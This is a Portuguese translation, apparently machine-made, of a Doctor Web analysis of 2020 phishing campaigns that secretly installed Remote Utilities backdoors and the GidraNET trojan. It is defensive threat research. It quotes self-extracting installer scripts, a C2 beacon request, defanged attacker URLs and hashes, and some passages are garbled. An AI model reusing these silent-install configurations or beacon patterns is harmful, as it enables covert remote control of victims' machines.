Em novembro de 2020, o laboratório de vírus do Doctor Web detectou a distribuição de e-mails de phishing para usuários corporativos. Os invasores tentaram usar o método clássico de engenharia social para forçar as vítimas em potencial a abrir os anexos. Os e-mails continham Trojans como uma carga maliciosa, que garantiu a instalação oculta e o lançamento do utilitário Remote Utilities, cujos componentes de instalação também foram incluídos no anexo. Em um conjunto de circunstâncias desfavoráveis, os computadores dos funcionários estariam disponíveis para controle remoto, sem quaisquer sinais visuais da operação do programa. Neste artigo, veremos os mecanismos de distribuição e infecção dos cavalos de Tróia RAT usados.
Cenário de ataque
As amostras que encontramos podem ser divididas em 2 grupos.
- , Remote Utilitites , DLL Hijacking. , . Dr.Web BackDoor.RMS.180.
- , Remote Utilities MSI-, . Dr.Web BackDoor.RMS.181.
Ambos os grupos de malware estão unidos não apenas pela ferramenta usada - Remote Utilities - mas também pelo formato dos emails de phishing. Estas são mensagens muito bem escritas e relativamente volumosas em russo, usando um tópico que é potencialmente interessante para o destinatário. A carga maliciosa é protegida por uma senha, e a própria senha na forma de um arquivo TXT está localizada nas proximidades e representa a data em que a carta foi enviada.
Um exemplo de mensagem com um anexo malicioso usando DLL Hijacking:
O arquivo anexado contém um arquivo RAR protegido e um arquivo de texto com uma senha.
Para a confidencialidade do anexo enviado, uma senha automática é definida: 02112020.
O arquivo é um dropper como um RAR'a próprio dentro do qual é BackDoor.RMS.180 .
Abaixo está um exemplo de um e-mail com um anexo usando um pacote MSI.
Além do arquivo com uma carga maliciosa ( BackDoor.RMS.181 ) e do arquivo de senha, existem documentos fictícios aqui.
Devido à política de segurança corporativa, este anexo está protegido pelo código de acesso: 12112020.
Durante nossa pesquisa, também encontramos uma amostra de um e-mail de phishing contendo um link para um dropper que inicia a instalação do utilitário Remote Utilities de um pacote MSI configurado (detectado pelo Dr.Web como BackDoor.RMS.187 ). Um mecanismo de propagação de carga útil ligeiramente diferente está envolvido aqui.
"CV_resume.rar" é um link para um site comprometido, de onde ocorre um redirecionamento para outro recurso, para baixar um arquivo malicioso do BackDoor.RMS.187 .
Uma análise da infraestrutura de rede usada pelos cibercriminosos para espalhar o BackDoor.RMS.187 revelou vários outros sites comprometidos, bem como uma amostra do Trojan.Gidra. De acordo com nossos dados, O Trojan.GidraNET.1 foi usado para infectar inicialmente o sistema usando um e-mail de phishing, seguido pelo download de um backdoor que instalou secretamente o Remote Utilties.
Para uma análise detalhada dos algoritmos do software detectado, leia a biblioteca de vírus em nosso site. Abaixo, daremos uma olhada rápida nesses malware.
BackDoor.RMS.180
Um cavalo de Tróia backdoor escrito usando componentes de Utilitários Remotos. O principal módulo malicioso é carregado via DLL Hijacking.
O arquivo de extração automática é iniciado pelo script:
;і і SFX-
Path=%APPDATA%\Macromedia\Temp\
Setup=WinPrint.exe
Silent=1
Overwrite=2
Composição do conta-gotas autoextraível:
- libeay32.dll (f54a31a9211f4a7506fdecb5121e79e7cdc1022e), limpo;
- ssleay32.dll (18ee67c1a9e7b9b82e69040f81b61db9155151ab), limpo;
- UniPrint.exe (71262de7339ca2c50477f76fcb208f476711c802), assinado com uma assinatura válida;
- WinPrint.exe (3c8d1dd39b7814fdc0792721050f953290be96f8), assinado com uma assinatura válida;
- winspool.drv (c3e619d796349f2f1efada17c9717cf42d4b77e2) é o principal módulo malicioso que garante a operação oculta dos utilitários remotos.
A tabela de funções exportadas winspool.drv:
118 RemoveYourMom
119 AddFormW
144 ClosePrinter
148 OpenDick
156 DeleteFormW
189 DocumentPropertiesW
190 HyXyJIuHagoToA
195 EnumFormsW
203 GetDefaultPrinterW
248 EnumPrintersW
273 GetFormW
303 OpenPrinterW
307 PrinterProperties
Funções ausentes no módulo winspool.drv original e não carregam uma carga funcional: as
exportações com nomes reais contêm transições para as funções originais carregadas no futuro da biblioteca legítima.
Algumas funções API são executadas por meio de ponteiros para jumpers :
A função get_proc procura a função API necessária analisando a tabela de exportação do módulo e, em seguida, coloca o endereço encontrado em vez da função jump .
No primeiro estágio, ele carrega a biblioteca substituída. O nome não é codificado permanentemente, então carrega a biblioteca <system_directory> \ <module_filename>... Em seguida, ele passa por sua tabela de exportação e carrega as funções originais da API por ordinais, ignorando funções inválidas:
RemoveYourMom OpenDick HyXyJIuHagoToA
A backdoor então verifica o contexto de qual executável está sendo executado. Para fazer isso, ele verifica o valor IMAGE_NT_HEADERS.OptionalHeader.CheckSum do módulo executável principal:
- o valor é 0x2ECF3 - inicialização inicial com WinPrint.exe;
- o valor é 0xC9FBD1 - trabalhe no contexto de UniPrint.exe.
Se o WinPrint.exe estiver em execução, o backdoor criará o processo UniPrint.exe e será encerrado.
Quando o UniPrint.exe é iniciado, o backdoor continua a executar funções básicas. Verifica se o usuário possui direitos de acesso de administrador. Em seguida, ele define as permissões para o diretório com o módulo:
Depois disso, ele grava os parâmetros Geral e Segurança na chave de registro HKCU \ SOFTWARE \ WDMPrint e prepara o valor do parâmetro InternetID usando uma string de formato.
Então o backdoor cria escondidos MDICLIENT e janelas RMSHDNLT :
Em seguida, ele passa a interceptar as funções da API. Ele usa a biblioteca MinHook para isso .
Uma tabela detalhada com uma descrição das funções interceptadas está na página BackDoor.RMS.180 em nosso site.
A atividade de rede backdoor é implementada da seguinte maneira. Primeiro, usando o identificador da janela TEdit usando a função GetWindowTextA, o backdoor obtém a ID da Internet necessária para uma conexão remota. Em seguida, ele forma uma solicitação GET do formulário:
GET /command.php?t=2&id=<Internet-ID> HTTP/1.1
Host: wsus.ga
Accept-Charset: UTF-8
User-Agent: Mozilla/5.0 (Windows NT)
Connection: close
Em seguida, ele cria um soquete TCP. Verifica o valor de uma variável global que armazena a porta para uma conexão SSL (zero neste exemplo). Se a porta não for igual a zero, a conexão é feita via SSL usando as funções da biblioteca SSLEAY32.dll. Se a porta não for especificada, a porta dos fundos se conecta pela porta 80.
Em seguida, ele envia a solicitação gerada. Se uma resposta for recebida, ele espera um minuto e reenvia a solicitação com o InternetID . Se não houver resposta, a solicitação será repetida após 2 segundos. O envio ocorre em um loop infinito.
BackDoor.RMS.181
A amostra analisada é um pacote MSI com parâmetros de controle remoto pré-configurados, criado usando o configurador MSI do Remote Utilities Viewer. Ele foi distribuído como parte de um conta-gotas 7z de extração automática (52c3841141d0fe291d8ae336012efe5766ec5616).
Composição do conta-gotas:
- host6.3_mod.msi (pacote MSI pré-configurado);
- installer.exe (5a9d6b1fcdaf4b2818a6eeca4f1c16a5c24dd9cf), assinado com uma assinatura digital válida.
Script de inicialização de arquivo autoextraível:
;!@Install@!UTF-8!
RunProgram="hidcon:installer.exe /rsetup"
GUIMode="2"
;!@InstallEnd@!
Após a descompactação, o dropper executa o arquivo installer.exe, que por sua vez inicia a instalação do pacote MSI pré-configurado. O instalador extrai e instala secretamente os utilitários remotos. Após a instalação, ele envia um sinal para o servidor de gerenciamento.
O pacote MSI contém todos os parâmetros necessários para instalar silenciosamente os utilitários remotos. A instalação é realizada em Arquivos de programas \ Utilitários remotos - Host de acordo com a tabela de diretórios .
De acordo com a tabela CustomAction, o instalador msiexec.exe inicia o componente principal do pacote Remote Utilities rutserv.execom vários parâmetros que fornecem instalação silenciosa, adicionando regras de firewall e iniciando o serviço.
Os parâmetros e configurações de conexão são inseridos na chave de registro HKLM \ Remote Utilities \ v4 \ Server \ Parameters . Os valores dos parâmetros estão contidos na tabela Registro :
O parâmetro CallbackSettings contém o endereço do servidor para o qual o InternetID é enviado para uma conexão direta.
BackDoor.RMS.187
O exemplo examinado é um pacote MSI com parâmetros pré-configurados para instalação e execução silenciosa dos utilitários remotos. Ele foi distribuído como parte de um arquivo RAR malicioso usando listas de e-mail de phishing.
Ele é iniciado usando um conta-gotas que armazena o arquivo de instalação na seção de recursos sob o nome LOG . O dropper salva o pacote MSI no diretório % TEMP% com o nome KB8438172.msi e, em seguida, inicia o msiexec.exe usando o instalador. O dropper contém o caminho para a fonte - C: \ Users \ Kelevra \ Desktop \ Source \ Project1.vbp .
O backdoor indica que está pronto para se conectar, enviando uma mensagem para cerbe [@] protonmail [.] Com...
Este exemplo é notável pela forma como foi distribuído. A vítima recebe um e-mail de phishing com um link disfarçado de anexo necessário ao usuário.
Link para baixar os anexos está em http [:] // ateliemilano ru / stat / amsweb.php eTmt6lRmkrDeoEeQB6MOVIKq4BTmbNCaI6vj% 2FvgYEbHFcfWecHRVZGMpkK% 2BMqevriOYlq9CFe6NuQMfKPsSNIax3bNKkCaPPR0RA85HY4Bu% 2B% 2B6xw2oPITBvntn2dh0QCN9pV5fzq3T 2FnW270rsYkctA %%% 2FwdvWH1bkEt2AdWnyEfaOwsKsSpyY3azVX0D 2BKOm5 [.]? .
Em seguida, a partir desse endereço, ocorre um redirecionamento para o endereço https [:] // kiat [.] Por / recrutment / CV_Ekaterina_A_B_resume.rar , que é usado para baixar o arquivo malicioso.
ateliemilano [.] rue kiat [.] by são sites existentes, sendo o segundo site propriedade de uma agência de recrutamento. De acordo com nossas informações, eles têm sido usados repetidamente para baixar cavalos de Troia, bem como para encaminhar solicitações de download.
No decorrer da pesquisa, foram encontrados outros sites comprometidos que eram usados para distribuir conta-gotas semelhantes com pacotes MSI. Em alguns deles, redirecionamentos do mesmo formato foram instalados como no site ateliemilano [.] Ru . Trojans escritos em
Visual Basic .NET ( Trojan.GidraNET.1), que, entre outras coisas, baixam droppers maliciosos para computadores comprometidos.
Trojan.GidraNET.1
A amostra de Trojan analisada foi distribuída por meio de sites comprometidos. Ele foi projetado para coletar informações sobre o sistema com sua posterior transferência para cibercriminosos via FTP, bem como para baixar um conta-gotas malicioso com um pacote MSI para instalação de utilitários remotos.
A principal funcionalidade está no método readConfig chamado de Form1_Load .
No início de seu trabalho, ele coleta as seguintes informações sobre o sistema:
- endereço IP externo;
- Nome do usuário;
- Nome do PC;
- Versão do sistema operacional;
- informações sobre a placa-mãe e o processador;
- a quantidade de RAM;
- informações sobre discos e partições;
- adaptadores de rede e seus endereços MAC;
- o conteúdo da área de transferência.
As informações resultantes são salvas em um arquivo e, em seguida, faz uma captura de tela.
Envia informações sobre o sistema via FTP para o servidor ateliemilano [.] Ru .
O código do Trojan contém um login e uma senha para o servidor FTP. Um diretório separado é criado para cada computador infectado.
Depois de enviar as informações, ele baixa e executa o arquivo de outro servidor comprometido.
Os arquivos baixados com amostras semelhantes são droppers escritos em Visual Basic que contêm pacotes MSI para instalação oculta de utilitários remotos, como BackDoor.RMS.187 .
O caminho para o arquivo PDB foi encontrado na amostra examinada: C: \ Users \ Kelevra \ Desktop \ Last Gidra + PrintScreen + Loader_ Main \ Gidra \ obj \ Debug \ Gidra.pdb . O nome de usuário Kelevra é o mesmo nome de usuário no caminho para o arquivo de projeto no dropper BackDoor.RMS.187: C: \ Users \ Kelevra \ Desktop \ Source \ Project1.vbp . Outras variantes foram encontradas em amostras semelhantes.
Com base nas informações que encontramos, podemos supor que em 2019 o autor do Trojan.GidraNET.1 usou esse Trojan para a infecção inicial por meio de um e-mail de phishing, seguido de download de um backdoor que instala secretamente Utilitários Remotos.
Conclusão
Backdoors baseados em utilitários de administração remota continuam sendo uma importante ameaça à segurança e ainda são usados para atacar o setor corporativo. Por sua vez, os emails de phishing são os principais meios de entrega de cargas úteis aos computadores infectados. Uma característica distintiva dos anexos maliciosos é o arquivamento da carga usando uma senha, o que permite que a mensagem supere a proteção embutida no servidor de e-mail. Outra característica é a presença de um arquivo de texto com uma senha para o arquivo falso. Além disso, o uso de uma biblioteca maliciosa e ataques de sequestro de DLL permite a operação oculta do software de controle remoto em um dispositivo comprometido.
Indicadores de compromisso